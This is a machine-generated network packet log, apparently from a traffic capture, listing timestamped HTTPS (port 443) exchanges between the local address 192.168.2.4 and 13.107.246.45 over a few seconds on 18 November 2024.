Nov 18, 2024 17:24:04.381320000 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.381330013 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.381335020 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.385453939 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.385488987 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.385550976 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.386589050 CET	49853	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.386625051 CET	443	49853	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.386674881 CET	49853	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.386914968 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.386944056 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.387013912 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.387031078 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.387038946 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.387048006 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.387048960 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.387362957 CET	49853	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.387381077 CET	443	49853	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.387742996 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.387742996 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.387748957 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.387757063 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.391119957 CET	49854	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.391130924 CET	443	49854	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.391195059 CET	49854	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.391664982 CET	49854	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.391678095 CET	443	49854	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.392177105 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.392261982 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.392317057 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.392388105 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.392388105 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.392404079 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.392414093 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.400660992 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.400686979 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.400757074 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.400763035 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.400808096 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.406965971 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.406965971 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.406985998 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.406992912 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.410936117 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.410962105 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.411020994 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.416197062 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.416212082 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.416893005 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.416903973 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.416950941 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.417179108 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.417191029 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.348921061 CET	443	49854	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.352351904 CET	49854	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.352374077 CET	443	49854	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.352826118 CET	49854	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.352832079 CET	443	49854	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.353214025 CET	443	49853	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.353544950 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.353838921 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.353861094 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.353924036 CET	49853	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.353940964 CET	443	49853	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.354182005 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.354193926 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.354276896 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.354285002 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.354381084 CET	49853	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.354387999 CET	443	49853	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.354480982 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.354487896 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.354578018 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.354595900 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.354859114 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.354863882 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.354938984 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.354944944 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.479018927 CET	443	49854	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.479090929 CET	443	49854	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.479212999 CET	49854	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.479420900 CET	49854	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.479435921 CET	443	49854	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.479449987 CET	49854	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.479456902 CET	443	49854	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.482095957 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.482114077 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.482206106 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.482332945 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.482343912 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.483557940 CET	443	49853	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.483942986 CET	443	49853	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.485136032 CET	49853	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.485363007 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.485414982 CET	49853	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.485435963 CET	443	49853	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.485450029 CET	49853	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.485457897 CET	443	49853	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.485660076 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.485857010 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.486080885 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.486088991 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.486100912 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.486104965 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.487574100 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.487600088 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.487670898 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.487840891 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.487857103 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.487998009 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.488390923 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.488746881 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.488761902 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.488779068 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.488799095 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.488806963 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.488817930 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.488822937 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.488833904 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.489038944 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.489053965 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.490945101 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.490962982 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.491041899 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.491334915 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.491343021 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.494239092 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.494457006 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.494522095 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.494632959 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.494642019 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.494653940 CET	49852	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.494658947 CET	443	49852	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.496577978 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.496598005 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:05.496726990 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.496802092 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:05.496813059 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.217062950 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.217710018 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.217730045 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.218264103 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.218269110 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.219713926 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.220264912 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.220277071 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.220829964 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.220834017 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.226923943 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.227339983 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.227354050 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.227844954 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.227850914 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.228511095 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.228853941 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.228864908 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.229453087 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.229460001 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.343765020 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.343908072 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.343964100 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.344207048 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.344219923 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.344228983 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.344233990 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.347822905 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.347853899 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.348007917 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.348130941 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.348146915 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.350039959 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.350188017 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.350246906 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.350275993 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.350280046 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.350289106 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.350291967 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.352873087 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.352888107 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.352950096 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.353182077 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.353193998 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.357070923 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.357762098 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.357840061 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.357865095 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.357865095 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.357872009 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.357878923 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.360025883 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.360040903 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.360136986 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.360311985 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.360323906 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.360553980 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.360656023 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.360802889 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.360802889 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.360853910 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.360862970 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.363205910 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.363233089 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.363298893 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.363440990 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.363468885 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.432315111 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.432862997 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.432888031 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.433326006 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.433332920 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.570245028 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.570427895 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.570506096 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.570625067 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.570641041 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.570652962 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.570660114 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.573600054 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.573642015 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:06.573729992 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.573906898 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:06.573925018 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.099411011 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.101340055 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.101388931 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.101578951 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.102178097 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.102197886 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.103626013 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.103646994 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.104130030 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.104139090 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.107067108 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.107351065 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.107368946 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.107736111 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.107741117 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.107875109 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.108095884 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.108112097 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.108452082 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.108457088 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.230602026 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.230989933 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.231079102 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.231127977 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.231128931 CET	49865	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.231153011 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.231165886 CET	443	49865	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.233640909 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.233685017 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.233755112 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.233891010 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.233902931 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.236474991 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.236637115 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.236706018 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.236746073 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.236768007 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.236782074 CET	49864	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.236790895 CET	443	49864	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.238589048 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.238631964 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.238708019 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.238837957 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.238854885 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.241364956 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.242203951 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.242290974 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.242290974 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.242320061 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.242326021 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.244429111 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.244523048 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.244611025 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.244714975 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.244739056 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.245991945 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.246068001 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.246130943 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.246225119 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.246225119 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.246239901 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.246248960 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.249713898 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.249739885 CET	443	49870	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:07.249835014 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.249977112 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:07.249991894 CET	443	49870	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.833900928 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.834557056 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.834583998 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.835032940 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.835038900 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.835995913 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.836291075 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.836359024 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.836601019 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.836616039 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.837050915 CET	443	49870	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.837302923 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.837311983 CET	443	49870	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.837596893 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.837600946 CET	443	49870	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.842842102 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.842873096 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.843154907 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.843174934 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.843247890 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.843301058 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.843621969 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.843627930 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.843677044 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.843693972 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.961083889 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.961548090 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.961625099 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.961663008 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.961682081 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.961693048 CET	49868	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.961698055 CET	443	49868	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.964385033 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.964430094 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.964513063 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.964648962 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.964662075 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.967298031 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.967453003 CET	443	49870	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.967523098 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.967578888 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.967622995 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.967622995 CET	49867	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.967641115 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.967662096 CET	443	49867	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.968229055 CET	443	49870	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.968286991 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.968609095 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.968616962 CET	443	49870	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.968652964 CET	49870	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.968657970 CET	443	49870	13.107.246.45	192.168.2.4
